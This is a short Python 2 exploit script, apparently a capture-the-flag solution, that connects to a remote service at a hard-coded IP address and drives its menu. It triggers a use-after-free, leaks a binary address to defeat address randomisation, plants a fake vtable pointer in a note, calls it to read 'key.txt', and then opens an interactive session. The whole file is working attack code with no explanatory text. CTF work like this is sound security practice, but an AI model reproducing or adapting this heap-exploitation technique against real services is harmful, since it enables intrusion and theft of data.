#!/usr/bin/python
import struct
import socket
import telnetlib

def p(v):
    return struct.pack('<Q', v)
def u(v):
    return struct.unpack('<Q', v)[0]

def readuntil(f, delim='?'):
    buf = ''
    while not buf.endswith(delim):
        buf += f.read(1)
    return buf

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('54.218.22.41', 37717))
f = s.makefile('rw', bufsize=0)

for _ in xrange(10):
    f.write('6\n')
    f.write('0\n')
for _ in xrange(10):
    f.write('2\n')
    f.write('A' * 15 + '\n')

# Add apple
f.write('6\n')
f.write('0\n')

# Set fav to apple
f.write('9\n')
f.write('10\n')

# Delete apple
f.write('8\n')
f.write('10\n')

# Make note
f.write('2\n')
f.write('A' * 15 + '\n')

# Change fav item
f.write('10\n')
f.write('0\n')

# List notes
f.write('1\n')
readuntil(f, ' #10: ')
data = f.readline().strip()
binary_addr = u(data.ljust(8, '\0'))
binary_base = binary_addr - 0x203d50
print 'binary_base =', hex(binary_base)

fake_vtable = binary_base + 0x203CC0

# Delete note
f.write('5\n')
f.write('10\n')

# Make note
f.write('2\n')
fake_note = p(fake_vtable)
fake_note = fake_note.ljust(15, 'A')
f.write(fake_note + '\n')

# Call ptr
f.write('11\n')
f.write('key.txt\n')

# List notes
f.write('1\n')

t = telnetlib.Telnet()
t.sock = s
t.interact()